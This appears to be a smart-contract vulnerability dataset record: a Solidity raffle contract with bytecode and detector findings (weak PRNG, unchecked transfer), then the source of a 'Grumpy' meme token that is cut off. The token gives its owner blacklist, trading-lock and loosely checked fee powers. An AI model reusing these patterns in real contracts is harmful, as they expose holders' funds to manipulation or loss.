require(msg.value >= deposit, "Insufficient Deposit");
require(!validatorActive || Validator.validate(holder, metadata), "Invalid");
uint256 ticketId = holderByTicketId.length;
holderByTicketId.push(holder);
emit TicketIssued(ticketId, holder, keccak256(metadata));
if (msg.value > deposit) {
(bool success,) = payable(msg.sender).call{value: (msg.value - deposit)}("");
require(success, "Overpay Refund Transfer Failed");
}
return ticketId;
}
/**
* @dev Purchase a ticket in the name of the transaction sender.
*/
function issueTicket(bytes calldata metadata) public payable returns (uint256) {
return issueTicket(msg.sender, metadata);
}
/**
* @dev Start a shuffle action.
* The hash submitted here must be the keccak256 hash of a secret number that will be submitted to the next function
*/
function prepareShuffleWinners (bytes32 _seedHash) public issuanceClosed onlyOwner {
require(_seedHash != 0 && seedHash != _seedHash, "Invalid Seed Hash");
require(seedBlock == 0 || block.number > seedBlock + 255, "Seed Already Set");
seedHash = _seedHash;
seedBlock = block.number;
}
/**
* @dev Finalize the shuffle action.
* Should be called after `prepareShuffleWinners`, after at leas two blocks have passed.
*/
function shuffleWinners (uint256 seed) public issuanceClosed {
require(increment == 0, "Already Shuffled");
require(block.number <= (endBlockNumber + 170_000), "Shuffle Window Closed");
if (holderByTicketId.length <= quantity) {
increment = 1;
return;
}
require(keccak256(abi.encodePacked(seed)) == seedHash, "Invalid Seed");
require(block.number > seedBlock + 2 && block.number < seedBlock + 255, "Seed Block Error");
uint256 randomSeed = uint256(keccak256(abi.encodePacked(seed, blockhash(seedBlock + 1), blockhash(seedBlock + 2))));
offset = randomSeed % holderByTicketId.length;
increment = Primes[uint256(keccak256(abi.encodePacked(randomSeed, randomSeed))) % 8];
}
/**
* @dev What 'order' is a given ticket in, in the winning shuffle?
* If all the tickets were to be put into a separate array in the "shuffled" order, what index would a given ticketID be at?
*/
function drawIndex (uint256 ticketId) public view refundsReady returns (uint256) {
return (increment * ticketId + offset) % holderByTicketId.length;
}
/**
* @dev Is the given ticketId a winning ticket?
*/
function isWinner (uint256 ticketId) public view refundsReady returns (bool) {
if (increment == 0) {
return false;
} else if (holderByTicketId.length <= quantity) {
require(ticketId < holderByTicketId.length, "Out of Range");
return true;
} else {
return (increment * ticketId + offset) % holderByTicketId.length < quantity;
}
}
/**
* @dev Are non-winners able to withdraw their deposits yet?
*/
function availableRefund (address holder, uint256[] calldata ticketIds) public view refundsReady returns (uint256) {
uint256 refund = 0;
for (uint i = 0; i < ticketIds.length; i++) {
uint256 ticketId = ticketIds[i];
if (holder == holderByTicketId[ticketId]) {
refund += deposit;
if (isWinner(ticketId)) {
refund -= price;
}
}
}
return refund;
}
/**
* @dev Claim deposited funds after raffle is over.
* For non-winning tickets, their entire deposit is refunded.
* For winning tickets, the difference between the deposit price and the actual price is refunded.
* In either case the ticket is destroyed after refunding. This refunds some gas to the ticket owner, making this operation less costly.
*/
function claimRefund (uint256[] calldata ticketIds) public refundsReady {
uint256 refund = 0;
for (uint i = 0; i < ticketIds.length; i++) {
uint256 ticketId = ticketIds[i];
if (msg.sender == holderByTicketId[ticketId]) {
refund += deposit;
if (isWinner(ticketId)) {
refund -= price;
}
delete holderByTicketId[ticketId];
}
}
if (refund > 0) {
(bool success,) = payable(msg.sender).call{value: refund}("");
require(success, "Refund Transfer Failed");
}
}
/**
* @dev Allow `owner` to claim remaining funds.
* Losing raffle tickets have 90 days to claim their refunds. After that time the owner of the raffle is entitled to sweep the rest of the ETH.
*/
function claimBalance () public onlyOwner {
// After ~90 days, contract owner can claim all funds
require (block.number > (endBlockNumber + 600_000));
(bool success,) = owner.call{value: address(this).balance}("");
require(success, "Claim Failed");
}
/**
* @dev Allow `owner` to withdraw income from winning tickets after winners have been picked.
*/
function claimIncome () public onlyOwner {
require(increment > 0, "Not Shuffled");
require(!incomeClaimed, "Income Claimed");
incomeClaimed = true;
uint256 balance;
if (holderByTicketId.length <= quantity) {
balance = holderByTicketId.length * price;
} else {
balance = quantity * price;
}
(bool success,) = owner.call{value: balance}("");
require(success, "Claim Failed");
}
///// Administration /////
/**
* @dev Start the raffle.
*/
function openMinting (uint256 durationInBlocks) public onlyOwner {
require(startBlockNumber == 0, "Minting Started");
endBlockNumber = block.number + durationInBlocks;
startBlockNumber = block.number;
}
/**
* @dev Specify a contract to be used as a Validator of all ticket entries.
*/
function activateValidation (address validatorContractAddress) public onlyOwner {
validatorActive = true;
Validator = IDepositRaffleValidator(validatorContractAddress);
}
/**
* @dev Disable any Validator for this raffle.
*/
function deactivateValidation () public onlyOwner {
validatorActive = false;
}
/**
* @dev Allow current `owner` to transfer ownership to another address
*/
function transferOwnership (address payable newOwner) public onlyOwner {
owner = newOwner;
}
/**
* @dev Rescue ERC20 assets sent directly to this contract.
*/
function withdrawForeignERC20 (address tokenContract) public onlyOwner {
IERC20 token = IERC20(tokenContract);
token.transfer(owner, token.balanceOf(address(this)));
}
/**
* @dev Rescue ERC721 assets sent directly to this contract.
*/
function withdrawForeignERC721 (address tokenContract, uint256 tokenId) public onlyOwner {
IERC721(tokenContract).safeTransferFrom(address(this), owner, tokenId);
}
constructor (uint256 depositWei, uint256 priceWei, uint256 totalQuantity) {
require (depositWei >= priceWei, "Price > Deposit");
deposit = depositWei;
price = priceWei;
quantity = totalQuantity;
owner = payable(msg.sender);
// https://docs.ens.domains/contract-api-reference/reverseregistrar#claim-address
IReverseResolver(0x084b1c3C81545d370f3634392De611CaaBFf8148).claim(msg.sender);
}
}
|
0x60806040526004361061014b5760003560e01c80638da5cb5b116100b6578063adef79381161006f578063adef7938146103b0578063b4999e85146103d0578063b6d043a8146103e6578063d0e30db0146103fb578063f2fde38b1461042f578063f54a6f831461044f57600080fd5b80638da5cb5b146102e757806396b24e7c146103075780639b192647146103275780639b54c69c146103475780639dbb616f14610367578063a035b1fe1461037c57600080fd5b80633a86c105116101085780633a86c1051461023e578063454e4a9914610251578063498a4c2d1461028957806353a72f971461029f5780635c471995146102b257806366df015a146102d257600080fd5b80630ce06b68146101505780630e3922881461017257806317fc45e2146101a757806320497f86146101e95780632d1604941461020957806330509bca14610229575b600080fd5b34801561015c57600080fd5b5061017061016b366004611698565b61046f565b005b34801561017e57600080fd5b5061019261018d3660046116c4565b610512565b60405190151581526020015b60405180910390f35b3480156101b357600080fd5b506101db7f00000000000000000000000000000000000000000000000000000000000000fa81565b60405190815260200161019e565b3480156101f557600080fd5b506101db6102043660046116c4565b61062c565b34801561021557600080fd5b506101706102243660046116c4565b6106a1565b34801561023557600080fd5b506101706107c0565b6101db61024c366004611726565b61089a565b34801561025d57600080fd5b5061027161026c3660046116c4565b6108ae565b6040516001600160a01b03909116815260200161019e565b34801561029557600080fd5b506101db60025481565b6101db6102ad366004611768565b6108d8565b3480156102be57600080fd5b506101706102cd3660046117bd565b610c60565b3480156102de57600080fd5b50610170610d97565b3480156102f357600080fd5b50600154610271906001600160a01b031681565b34801561031357600080fd5b506101db61032236600461181f565b610f97565b34801561033357600080fd5b506101706103423660046116c4565b6110bc565b34801561035357600080fd5b506101706103623660046117bd565b61113c565b34801561037357600080fd5b506009546101db565b34801561038857600080fd5b506101db7f0000000000000000000000000000000000000000000000000c7d713b49da000081565b3480156103bc57600080fd5b506101706103cb3660046116c4565b61118f565b3480156103dc57600080fd5b506101db60035481565b3480156103f257600080fd5b5061017061141b565b34801561040757600080fd5b506101db7f0000000000000000000000000000000000000000000000000c7d713b49da000081565b34801561043b57600080fd5b5061017061044a3660046117bd565b611454565b34801561045b57600080fd5b5061017061046a366004611867565b6114a0565b6001546001600160a01b031633146104a25760405162461bcd60e51b81526004016104999061189d565b60405180910390fd5b600154604051632142170760e11b81523060048201526001600160a01b03918216602482015260448101839052908316906342842e0e90606401600060405180830381600087803b1580156104f657600080fd5b505af115801561050a573d6000803e3d6000fd5b505050505050565b600080600754118061053d575060075415801561053d575060035461053a9062030d406118d7565b43115b6105595760405162461bcd60e51b8152600401610499906118ef565b60075461056857506000919050565b6009547f00000000000000000000000000000000000000000000000000000000000000fa106105d95760095482106105d15760405162461bcd60e51b815260206004820152600c60248201526b4f7574206f662052616e676560a01b6044820152606401610499565b506001919050565b7f00000000000000000000000000000000000000000000000000000000000000fa60098054905060065484600754610611919061191a565b61061b91906118d7565b6106259190611939565b1092915050565b6000806007541180610657575060075415801561065757506003546106549062030d406118d7565b43115b6106735760405162461bcd60e51b8152600401610499906118ef565b60095460065460075461068790859061191a565b61069191906118d7565b61069b9190611939565b92915050565b60035443116106e25760405162461bcd60e51b815260206004820152600d60248201526c24b9b9bab0b731b29027b832b760991b6044820152606401610499565b6001546001600160a01b0316331461070c5760405162461bcd60e51b81526004016104999061189d565b801580159061071d57508060045414155b61075d5760405162461bcd60e51b8152602060048201526011602482015270092dcecc2d8d2c840a6cacac84090c2e6d607b1b6044820152606401610499565b600554158061077857506005546107759060ff6118d7565b43115b6107b75760405162461bcd60e51b815260206004820152601060248201526f14d9595908105b1c9958591e4814d95d60821b6044820152606401610499565b60045543600555565b6001546001600160a01b031633146107ea5760405162461bcd60e51b81526004016104999061189d565b6003546107fa90620927c06118d7565b431161080557600080fd5b6001546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610852576040519150601f19603f3d011682016040523d82523d6000602084013e610857565b606091505b50509050806108975760405162461bcd60e51b815260206004820152600c60248201526b10db185a5b4811985a5b195960a21b6044820152606401610499565b50565b60006108a73384846108d8565b9392505050565b600981815481106108be57600080fd5b6000918252602090912001546001600160a01b0316905081565b600060035443111580156108ee57506000600254115b61092c5760405162461bcd60e51b815260206004820152600f60248201526e125cdcdd585b98d94810db1bdcd959608a1b6044820152606401610499565b60125460ff1661096f5760405162461bcd60e51b815260206004820152600e60248201526d1499595b9d1c985b9d0818d85b1b60921b6044820152606401610499565b6012805460ff191690557f0000000000000000000000000000000000000000000000000c7d713b49da00003410156109e05760405162461bcd60e51b8152602060048201526014602482015273125b9cdd59999a58da595b9d0811195c1bdcda5d60621b6044820152606401610499565b600054600160a01b900460ff161580610a7a575060005460405163caf9278560e01b81526001600160a01b039091169063caf9278590610a289087908790879060040161195b565b602060405180830381600087803b158015610a4257600080fd5b505af1158015610a56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7a919061199b565b610ab05760405162461bcd60e51b8152602060048201526007602482015266125b9d985b1a5960ca1b6044820152606401610499565b600980546001810182556000919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af810180546001600160a01b0319166001600160a01b0387161790556040517fadf9841754a324f61a31974ec8354995e004530dad28b2c3edb7705a7d5357249082908790610b3290889088906119bd565b604080519182900382209382526001600160a01b0390921660208201529081019190915260600160405180910390a17f0000000000000000000000000000000000000000000000000c7d713b49da0000341115610c4a57600033610bb67f0000000000000000000000000000000000000000000000000c7d713b49da0000346119cd565b604051600081818185875af1925050503d8060008114610bf2576040519150601f19603f3d011682016040523d82523d6000602084013e610bf7565b606091505b5050905080610c485760405162461bcd60e51b815260206004820152601e60248201527f4f76657270617920526566756e64205472616e73666572204661696c656400006044820152606401610499565b505b90506012805460ff191660011790559392505050565b6001546001600160a01b03163314610c8a5760405162461bcd60e51b81526004016104999061189d565b6001546040516370a0823160e01b815230600482015282916001600160a01b038084169263a9059cbb92919091169083906370a082319060240160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1491906119e4565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610d5a57600080fd5b505af1158015610d6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d92919061199b565b505050565b6001546001600160a01b03163314610dc15760405162461bcd60e51b81526004016104999061189d565b600060075411610e025760405162461bcd60e51b815260206004820152600c60248201526b139bdd0814da1d59999b195960a21b6044820152606401610499565b60085460ff1615610e465760405162461bcd60e51b815260206004820152600e60248201526d125b98dbdb594810db185a5b595960921b6044820152606401610499565b6008805460ff191660011790556009546000907f00000000000000000000000000000000000000000000000000000000000000fa10610eb457600954610ead907f0000000000000000000000000000000000000000000000000c7d713b49da00009061191a565b9050610f01565b610efe7f0000000000000000000000000000000000000000000000000c7d713b49da00007f00000000000000000000000000000000000000000000000000000000000000fa61191a565b90505b6001546040516000916001600160a01b03169083908381818185875af1925050503d8060008114610f4e576040519150601f19603f3d011682016040523d82523d6000602084013e610f53565b606091505b5050905080610f935760405162461bcd60e51b815260206004820152600c60248201526b10db185a5b4811985a5b195960a21b6044820152606401610499565b5050565b6000806007541180610fc25750600754158015610fc25750600354610fbf9062030d406118d7565b43115b610fde5760405162461bcd60e51b8152600401610499906118ef565b6000805b838110156110b3576000858583818110610ffe57610ffe6119fd565b9050602002013590506009818154811061101a5761101a6119fd565b6000918252602090912001546001600160a01b03888116911614156110a0576110637f0000000000000000000000000000000000000000000000000c7d713b49da0000846118d7565b925061106e81610512565b156110a05761109d7f0000000000000000000000000000000000000000000000000c7d713b49da0000846119cd565b92505b50806110ab81611a13565b915050610fe2565b50949350505050565b6001546001600160a01b031633146110e65760405162461bcd60e51b81526004016104999061189d565b600254156111285760405162461bcd60e51b815260206004820152600f60248201526e135a5b9d1a5b99c814dd185c9d1959608a1b6044820152606401610499565b61113281436118d7565b6003555043600255565b6001546001600160a01b031633146111665760405162461bcd60e51b81526004016104999061189d565b600080546001600160a01b039092166001600160a81b031990921691909117600160a01b179055565b60035443116111d05760405162461bcd60e51b815260206004820152600d60248201526c24b9b9bab0b731b29027b832b760991b6044820152606401610499565b600754156112135760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e4814da1d59999b195960821b6044820152606401610499565b60035461122390620298106118d7565b43111561126a5760405162461bcd60e51b815260206004820152601560248201527414da1d59999b194815da5b991bddc810db1bdcd959605a1b6044820152606401610499565b6009547f00000000000000000000000000000000000000000000000000000000000000fa1061129b57600160075550565b60045460408051602081018490520160405160208183030381529060405280519060200120146112fc5760405162461bcd60e51b815260206004820152600c60248201526b125b9d985b1a590814d9595960a21b6044820152606401610499565b60055461130a9060026118d7565b4311801561132457506005546113219060ff6118d7565b43105b6113635760405162461bcd60e51b815260206004820152601060248201526f29b2b2b210213637b1b59022b93937b960811b6044820152606401610499565b600081600554600161137591906118d7565b40600554600261138591906118d7565b60408051602081019490945283019190915240606082015260800160408051601f1981840301815291905280516020909101206009549091506113c89082611939565b60065560408051602080820184905281830184905282518083038401815260609092019092528051910120600a9061140290600890611939565b60088110611412576114126119fd565b01546007555050565b6001546001600160a01b031633146114455760405162461bcd60e51b81526004016104999061189d565b6000805460ff60a01b19169055565b6001546001600160a01b0316331461147e5760405162461bcd60e51b81526004016104999061189d565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600060075411806114ca57506007541580156114ca57506003546114c79062030d406118d7565b43115b6114e65760405162461bcd60e51b8152600401610499906118ef565b6000805b828110156115e5576000848483818110611506576115066119fd565b90506020020135905060098181548110611522576115226119fd565b6000918252602090912001546001600160a01b03163314156115d2576115687f0000000000000000000000000000000000000000000000000c7d713b49da0000846118d7565b925061157381610512565b156115a5576115a27f0000000000000000000000000000000000000000000000000c7d713b49da0000846119cd565b92505b600981815481106115b8576115b86119fd565b600091825260209091200180546001600160a01b03191690555b50806115dd81611a13565b9150506114ea565b508015610d9257604051600090339083908381818185875af1925050503d806000811461162e576040519150601f19603f3d011682016040523d82523d6000602084013e611633565b606091505b505090508061167d5760405162461bcd60e51b81526020600482015260166024820152751499599d5b9908151c985b9cd9995c8811985a5b195960521b6044820152606401610499565b50505050565b6001600160a01b038116811461089757600080fd5b600080604083850312156116ab57600080fd5b82356116b681611683565b946020939093013593505050565b6000602082840312156116d657600080fd5b5035919050565b60008083601f8401126116ef57600080fd5b50813567ffffffffffffffff81111561170757600080fd5b60208301915083602082850101111561171f57600080fd5b9250929050565b6000806020838503121561173957600080fd5b823567ffffffffffffffff81111561175057600080fd5b61175c858286016116dd565b90969095509350505050565b60008060006040848603121561177d57600080fd5b833561178881611683565b9250602084013567ffffffffffffffff8111156117a457600080fd5b6117b0868287016116dd565b9497909650939450505050565b6000602082840312156117cf57600080fd5b81356108a781611683565b60008083601f8401126117ec57600080fd5b50813567ffffffffffffffff81111561180457600080fd5b6020830191508360208260051b850101111561171f57600080fd5b60008060006040848603121561183457600080fd5b833561183f81611683565b9250602084013567ffffffffffffffff81111561185b57600080fd5b6117b0868287016117da565b6000806020838503121561187a57600080fd5b823567ffffffffffffffff81111561189157600080fd5b61175c858286016117da565b6020808252600a908201526927b7363c9027bbb732b960b11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156118ea576118ea6118c1565b500190565b602080825260119082015270526566756e6473204e6f7420526561647960781b604082015260600190565b6000816000190483118215151615611934576119346118c1565b500290565b60008261195657634e487b7160e01b600052601260045260246000fd5b500690565b6001600160a01b03841681526040602082018190528101829052818360608301376000818301606090810191909152601f909201601f1916010192915050565b6000602082840312156119ad57600080fd5b815180151581146108a757600080fd5b8183823760009101908152919050565b6000828210156119df576119df6118c1565b500390565b6000602082840312156119f657600080fd5b5051919050565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a2757611a276118c1565b506001019056fea2646970667358221220e477ab1b1d8955757e195ce88d37111e74638f8e7ee25c6edbc236be1eaa2d5264736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,462 |
0x5b6dd053dd35abfe25ded12755692c7482f52fdc
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// The initiator of Grumpy, an avid investor in the meme tech space,
// wondered what it is like to invest in a project that delivers on both safety and continuous growth.
// The initiator had the idea to build a meme project that focuses on community trust by implementing multiple safety measures in the smart contract.
// Grumpy is Devine and miraculously finds the moon for your wallet.
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Grumpy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Grumpy";
string private constant _symbol = "GINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 150000000 * 10**9;
uint256 public _maxWalletSize = 150000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
